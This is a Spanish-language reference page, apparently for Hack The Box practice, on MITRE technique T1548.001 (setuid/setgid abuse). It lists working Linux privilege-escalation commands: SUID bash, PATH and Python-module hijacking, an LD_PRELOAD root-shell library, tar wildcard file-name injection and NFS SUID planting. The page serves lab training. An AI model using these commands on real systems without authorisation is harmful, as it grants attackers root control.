T1548.001

Setuid y setgid

Subtécnica de T1548 Abuso de mecanismos de elevación

Ejecutar como root un binario con el bit SUID que permite leer, escribir o lanzar una shell.

Cómo aparece en Hack The Box

find / -perm -4000 y compara con lo normal de la distribución. Lo raro (un binario propio en /usr/local/bin o algo de GTFOBins) es casi siempre el camino.

Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):

Máquinas para practicarla

Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.

Guías

Comandos

Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.

Escalada de privilegios en Linux › Comprobaciones

Binarios SUID
find / -perm -4000 -type f 2>/dev/null
Binarios SGID
find / -perm -2000 -type f 2>/dev/null

Escalada de privilegios en Linux › Explotación

Bash con SUID tras tener escritura como root
chmod u+s /bin/bash
bash -p
Suplantar el comando
echo -e '#!/bin/bash\nchmod u+s /bin/bash' > /tmp/ps
chmod +x /tmp/ps
export PATH=/tmp:$PATH
Módulo de Python suplantado
echo 'import os; os.system("chmod u+s /bin/bash")' > /ruta/del/script/random.py

Si sudo ejecuta un script de Python que importa random y puedes escribir en su carpeta (o en una ruta de sys.path anterior).

LD_PRELOAD con sudo (env_keep+=LD_PRELOAD)
cat > /tmp/x.c << 'FIN'
#include <stdlib.h>
#include <unistd.h>
void _init() { unsetenv("LD_PRELOAD"); setuid(0); setgid(0); system("/bin/bash -p"); }
FIN
gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c
sudo LD_PRELOAD=/tmp/x.so programa_permitido
tar con comodín en un cron de root
echo 'chmod u+s /bin/bash' > x.sh
touch -- '--checkpoint=1' '--checkpoint-action=exec=sh x.sh'
Crear un bash SUID desde tu máquina Atacante
sudo mount -t nfs VICTIMA:/compartido /mnt/nfs
sudo cp /bin/bash /mnt/nfs/ && sudo chmod u+s /mnt/nfs/bash

Luego, en la víctima: /compartido/bash -p. Copia un bash compatible con la versión de la víctima.

Herramientas

Chuletas relacionadas